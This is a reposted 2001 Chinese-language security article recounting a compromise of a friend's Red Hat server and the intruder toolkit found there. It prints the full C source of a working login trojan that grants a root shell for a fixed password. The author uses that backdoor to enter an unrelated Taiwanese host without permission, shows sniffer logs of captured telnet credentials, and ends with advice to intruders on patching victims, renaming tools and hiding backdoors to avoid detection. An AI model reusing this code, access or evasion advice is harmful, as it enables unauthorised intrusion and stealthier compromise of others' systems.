[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
分析某台機器上發現的工具包
本文出自:http://xfocus.org 作者: quack(quack@antionline.org) (2001-09-10 12:00:00)
前些日子測試那個bind的漏洞,順便就幫一哥們檢測了一下他的主機紅帽子 
6.0的機器,一不小心居然又進去了!@#$%^%,真是搞不懂為什現在漏洞資 
料已是滿天飛的情況下,網上怎還有這多“公雞”。 

依照習慣,先w看看有誰在: 

# w 

嘿,好象就我一個人呀,看看有什進程在跑吧…… 

# ps -aux 

cracker$ ps -aux 
USER     PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND 
ronin    418  0.0  0.9   420  240  p0  R+    7:15PM   0:00.01 ps -aux 
root       1  0.0  0.9   520  264  ??  Is    5:00PM   0:00.03 /sbin/init -- 
root       2  0.0  0.0     0    0  ??  DL    5:00PM   0:00.01  (pagedaemon) 
root       3  0.0  0.0     0    0  ??  DL    5:00PM   0:00.00  (vmdaemon) 
root       4  0.0  0.0     0    0  ??  DL    5:00PM   0:01.37  (syncer) 
root     128  0.0  2.1   876  588  ??  Is    5:00PM   0:00.54 syslogd 
daemon   137  0.0  1.9   884  536  ??  Is    5:00PM   0:00.01 /usr/sbin/portmap 
root     148  0.0  1.1   476  304  ??  Is    5:00PM   0:00.01 mountd -r 
root     151  0.0  0.7   336  196  ??  Is    5:00PM   0:00.01 nfsd: master (nfs 
root     155  0.0  0.6   316  160  ??  I     5:00PM   0:00.00 nfsd: server (nfs 
root     156  0.0  0.6   316  160  ??  I     5:00PM   0:00.00 nfsd: server (nfs 
root     157  0.0  0.6   316  160  ??  I     5:00PM   0:00.00 nfsd: server (nfs 
root     158  0.0  0.6   316  160  ??  I     5:00PM   0:00.00 nfsd: server (nfs 
root     159  0.0  1.9 263024  552  ??  Is    5:00PM   0:00.00 rpc.statd 
root     168  0.0  0.3   216   80  ??  I     5:00PM   0:00.00 nfsiod -n 4 
root     169  0.0  0.3   216   80  ??  I     5:00PM   0:00.00 nfsiod -n 4 
root     170  0.0  0.3   216   80  ??  I     5:00PM   0:00.00 nfsiod -n 4 
root     171  0.0  0.3   216   80  ??  I     5:00PM   0:00.00 nfsiod -n 4 
root     192  0.0  3.2  1296  920  ??  Is    5:00PM   0:01.56 sshd (sshd1) 
root     195  0.0  2.1   952  616  ??  Is    5:00PM   0:00.03 inetd -wW 
root     198  0.0  2.1  1040  588  ??  Is    5:00PM   0:00.11 cron 
root     202  0.0  3.5  1388 1004  ??  Is    5:00PM   0:00.09 sendmail: accepti 
root     228  0.0  1.7   844  480  ??  Is    5:00PM   0:00.01 moused -p /dev/cu 
root     257  0.0  2.1   888  600  v0  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     258  0.0  2.1   888  600  v1  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     259  0.0  2.1   888  600  v2  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     260  0.0  2.1   888  600  v3  Is+   5:00PM   0:00.01 /usr/libexec/gett 
root     261  0.0  2.1   888  600  v4  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     262  0.0  2.1   888  600  v5  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     263  0.0  2.1   888  600  v6  Is+   5:00PM   0:00.01 /usr/libexec/gett 
root     264  0.0  2.1   888  600  v7  Is+   5:00PM   0:00.02 /usr/libexec/gett 
root     277  0.0  3.6  1512 1028  p0- I     5:16PM   0:00.44 su (bash) 
root     411  0.0  2.9  1184  828  ??  Ss    7:14PM   0:00.06 telnetd 
ronin    412  0.0  3.5  1500 1020  p0  Ss    7:14PM   0:00.12 -bash (bash) 
root       0  0.0  0.0     0    0  ??  DLs   5:00PM   0:00.01  (swapper) 

唔,很正常…… 

# netstat -a |more 

........ 
........ 
........ 

也很正常…… 

xixi,我還是先把login替換掉,明天再警告我那哥們吧:) 

# ls -la /usr/sbin|grep login 
login 
.login 

咦,有鬼,真夠巧的,居然有個.login,莫非有人已經捷足先登了?兩個login 
還不一樣大哦……,telnet到自己的紅帽子上: 

# telnet quack 

查看一下login的實際大小,真是被人換掉了!那看看ps和netstat吧,估計也好 
不了多少,哼,剛才看到的ps和netstat的輸出說不定都是被偽裝過的了! 

把我本機的ps跟netstat和朋友這台機器的ps和netstat拿來diff一下,果然不同! 

看來是有鬼了,幫它備一份吧 

mv ps ps_fake 
mv netstat netstat_fake 

再把自己機器上絕對沒被改過的ps與netstat傳上去…… 

# rcp root@*.*.*.*:/bin/ps /bin/ps 
# rcp root@*.*.*.*:/usr/bin/netstat /usr/bin/netstat 

我再來看看…… 

# ps -ef|more 

發達嘍,這多東東…… 

啊知道我發現什了?居然有個nmap的進程nohup著……由root啟動的"有趣"程序有: 

sniffit -a -p 23 -t *.*.*.* 
nmap -P0 -sF -O 111.111.*.* -oN /etc/X11/.X11default/.../111.111.log 
bindshell 

這個入侵者的工具包看來是放在/etc/X11/.X11default/.../呀,我們來看看裡面 
都有哪些東西吧…… 

哇,看來這台機器當公雞也好長時間了哦積累了這多好東西了呀,都成大本 
營了…… 

哦,對了,等等,先看看這個入侵者在不在機器上再說…… 

# netstat -a|more  <-----------這回是自己的netstat了:)輸出的結果除了我自 
己就沒看到別人了…… 

唔,象是不在哦,只是還有一些進程掛著好象是死進程了,沒殺掉而已,便宜了 
我了:),這個210.*.*.*,好象是台灣的吧,最近怎老和台灣打交道?算了,先看 
看他的習慣吧,裝什門……順便開個進程掃一下這台機器…… 

覺得好笑的是,這個兄弟也太老實了些,居然把源碼什的一古腦留下來供人分析, 
而且編譯時老老實實的以源碼的名字來命名……xixi,我看看他login是用什替的, 
哦,這個東東呀…… 

/* Universal trojan ( login / imapd / qpopd ) 
But will work on more daemons and on most systems. 
After installed on the system. 
Telnet to the daemon and you will have 1 second to type in 
the trojan passwd to get root access else it executes the real daemon.  */ 

/* 
*   PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! :P 

*             mitra (  login / ipop3d / imapd trojan ) 
*               axess ( axess@mail.com ) in Dec-1999 

*   This is an combined login / ipop3d / imapd trojan. 
*   This should work with other deamons but i have only tested these 3. 

*   REAL == mv the real deamon to this path. 
*   TROJAN == This is the real path of the deamon, put the trojan here. 

*   It defaults to login trojan now. 
*   Dont forgot you might have to the rights of the trojan. 
*   Telnet to the port whatever deamon its set for. 
*   The passwd you need to enter in one second == door 
*   and you will get that lovely # =) 
*   This works on most systems. 

*/ 

#include<signal.h> 
#include<stdio.h> 
#include<string.h> 
#include<unistd.h> 

#define REAL "/bin/.login" 
#define TROJAN "/bin/login" 
#define ROOT "xundi" 
/*            ^^^^^ 
                | 
                +--------->xixi,密碼怎是xundi?呵呵開玩笑啦 
                           這邊密碼看看,面要用到的。      */ 
char **execute; 
char passwd[5]; 

int main(int argc, char *argv[]) { 
void connection(); 

signal(SIGALRM,connection); 
alarm(1); 
execute=argv; 
*execute=TROJAN; 

scanf("%s",passwd); 

if(strcmp(passwd,ROOT)==0) { 
alarm(0); 
execl("/bin/sh","/bin/sh","-i",0); 
exit(0); 

else 

execv(REAL,execute); 
exit(0); 




void connection() 

execv(REAL,execute); 
exit(0); 


那邊台灣那台機器的結果也已經出來了,是solaris7的機器,但沒有致 
命的漏洞:(,如果這台也是入侵者的肉雞的話,估計他關掉了一些服務, 
以免被人輕易攻陷……,那,我們來試試他自己的門…… 

# telnet 210.*.*.* 在一秒鐘內輸入password……,是看到 



呵呵,真是爽到極點,進來了又:)……可以做的事有好多啦,但…… 

先不管別人的事了,我打了個電話給那哥們,嘿,這小子有用Tripwire對 
系統裡的文件目錄做了數據庫記錄了,嘿,那就好辦,運行一下吧,結果 
發現,系統裡面有了好些變化哦: 

一、那位入侵者已經在機器裡裝了: 

1.sniffit0.3.7              <---------- 監聽工具 
2.nmap2.52以及nmap-web1.4   <---------- 掃描工具,以及它的cgi版本 
3.pscan                     <---------- 掃描端口的工具,速度頗快,但會有許多log 
4.lrk                       <---------- liunx root kit 
5.ulogin.c                  <---------- 一個假的login,你要DISPLAY="password";export DISPLAY然telnet                                         
6.nc                        <---------- telnet工具,也可以綁定端口 
7.trojan.c                  <---------- 假的login,需要在login出來前一秒輸入password就行了 
8.wu-ftpd.trojan.tar        <---------- 假的wu-ftpd守護進程,telnet到21口並輸入特定用戶名就是root 
9.bindshell.c               <---------- 端口綁定工具 
10.wipe                     <---------- 擦log的一個工具 

二、並且更改了以留下門: 

1./etc/inetd.conf           <----------- 把端口9改成了sh 
2./etc/rc.d/rc.local        <----------- 將上面所說的bindshell添了進去 

三、進行了一些掃描及監聽的活,留下一些記錄文件: 

1.210.*.cmsd.log           <------------ 某個B類網址的cmsd漏洞掃描結果 
2.210.*.sadmind.log        <------------ 某個B類網址的sadmind漏洞掃描結果 
3.sni.log                   <------------ 對這台機的監聽結果!@$%^&&$#@ 

四、安裝了DDOS工具 

1.tfn2k                     <------------ 無須多說了吧:)大名鼎鼎呀…… 

五、某些攻擊性的exploit,如: 

1.t666.c                    <------------ bind的攻擊程序 
2.msadc2.pl                 <------------ 針對msadc的攻擊程序 
3.sadmindex                 <------------ sadmindex的攻擊程序及brute程序 

六、有一個已經編譯好的Solaris下的包,裡面有如下工具: 

1.pscan                     <------------- 掃描工具 
2.tfn2k                     <------------- DDOS工具 
3.nc                        <------------- 端口重定向 
4.ulogin                    <------------- 門 
5.trojan                    <------------- 門 
6.command.tar               <------------- ps\netstat\ls\find的偽造程序 
7.bindshell                 <------------- 端口綁定工具 
8.rpc-kit.tar               <------------- rpc的攻擊工具包 

七、留了兩個suid的shell 

我來看看sniffit記下什了吧……xixi,看得是不是很頭大,我也煩…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( ? . @ . . . : i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( @ . @ . . . 9 i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( A . @ . . . 8 i . . . . . . . . . 7 . . . . D 3 . . . . P . . c . . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . , B . @ . . . 7 e . . . . . . . . . 8 . . . . C . . . . . ` .   . . . 
. . . . . . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ( C . @ . . . 6 i . . . . . . . . . 8 . . . . C . . . . { P . " 8 % . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . + D . @ . . . 5 f . . . . . . . . . 8 . . . . C . . . . ~ P . " 5 . . 
. . . . % 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . + E . @ . . . 4 f . . . . . . . . . 8 . . . . C . . . . . P . " # . . 
. . . . & 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . 7 F . @ . . . 3 Z . . . . . . . . . 8 . . . . C . . . . . P . " # . . 
. . . . . . .   . . # . . ' . . $ 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . 2 G . @ . . . 2 _ . . . . . . . . . 8 . . . . C . . . . . P . " . y 5 
. . . . . . A N S I . . 
             ^^^^^^^ 
                | 
                +------------------------->知道這是什? 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . + H . @ . . . 1 f . . . . . . . . . 8 . . . . C . . . . . P . " . " . 
. . . . . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . 7 I . @ . . . 0 Z . . . . . . . . . 8 . . . . C . . . . . P . " . . . 
. . . . . . . " . . . . . . . . ! 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . + J . @ . . . / f . . . . . . . . . 8 . . . . C . . . . . P . " . $ . 
. . . . . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . + K . @ . . . . f . . . . . . . . . 8 . . . . C . . . . . P . ! . $ . 
. . . . . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ( L . @ . . . - i . . . . . . . . . 8 . . . . C . . . . . P . ! . % . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) M . @ . . . , h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . r 
    ^^^ 
     | 
     +-------------------->開始了哦 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) N . @ . . . + h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . o 
    ^^^ 
     | 
     +-------------------->又一個 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ( O . @ . . . * i . . . . . . . . . 8 . . . . C . . . . . P . ! . % . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) P . @ . . . ) h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . n 
    ^^^ 
     | 
     +-------------------->還有 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) Q . @ . . . ( h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . i 
    ^^^ 
     | 
     +-------------------->…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) R . @ . . . ' h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . n 
    ^^^ 
     | 
     +-------------------->這些就是用戶名了啦…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ( S . @ . . . & i . . . . . . . . . 8 . . . . C . . . . . P . ! . % . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . * T . @ . . . % g . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . . . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ( U . @ . . . $ i . . . . . . . . . 8 . . . . C . . . . . P . ! . % . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) V . @ . . . # h . . . . . . . . . 8 . . . . C . . . . . P . ! . . . 
. . h 
    ^^^ 
     | 
     +-------------------->密碼開始了,睜大眼…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) W . @ . . . " h . . . . . . . . . 8 . . . . D . . . . . P . ! . . . 
. . a 
    ^^^ 
     | 
     +-------------------->…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) X . @ . . . ! h . . . . . . . . . 8 . . . . D . . . . . P . ! . . . 
. . c 
    ^^^ 
     | 
     +-------------------->…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) Y . @ . . .   h . . . . . . . . . 8 . . . . D . . . . . P . ! . . . 
. . k 
    ^^^ 
     | 
     +-------------------->…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) Z . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . . 
. . e 
    ^^^ 
     | 
     +-------------------->…… 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( [ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . 1 P . . . . . 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( \ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . " 8 . k 
. . 
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23 
E . . ( ] . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . k 
. . 

Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23 
E . . ) ^ . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . . 
. . r 
    ^^^ 
     | 
     +-------------------->密碼到此結束…… 

也就是說,密碼都被聽走了……真是!@#$%^& 

往下的事就好辦多了,自己補補漏洞,把密碼換掉,通知用戶更改密碼…… 

總結入侵者所犯的錯誤: 

1、沒有幫這台主機打上patch:),如果想自己長期使用這台機器的話,打上補丁以防 
   止別人以同樣的方式進入是必要的,也可以避免被人追蹤到…… 
2、上傳的門,漏洞利用程序編譯成二進制代碼最馬上刪掉源程序,並且編譯好 
   的程序不要太"老實",可以隨便用些亂七八糟的名字讓人摸不著腦袋長哪兒嘛…… 
3、不同的肉雞上的門最好不要設一樣,也就是說,如果你用跳板跳到某台機器,那 
   跳板上的門及你的目標機器上的最好不要一樣,要不然容易被人“反咬一口” 
4、門也留得太多了:),不知是在測試還是怎著?被抓到一個很容易讓root產生 
   "聯想"馬上尋找入侵者。 
5、某些工具包沒有充分利用上,比如lrk,用得好的話人家一下還不容易查覺有人進入 
   過系統。 

(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★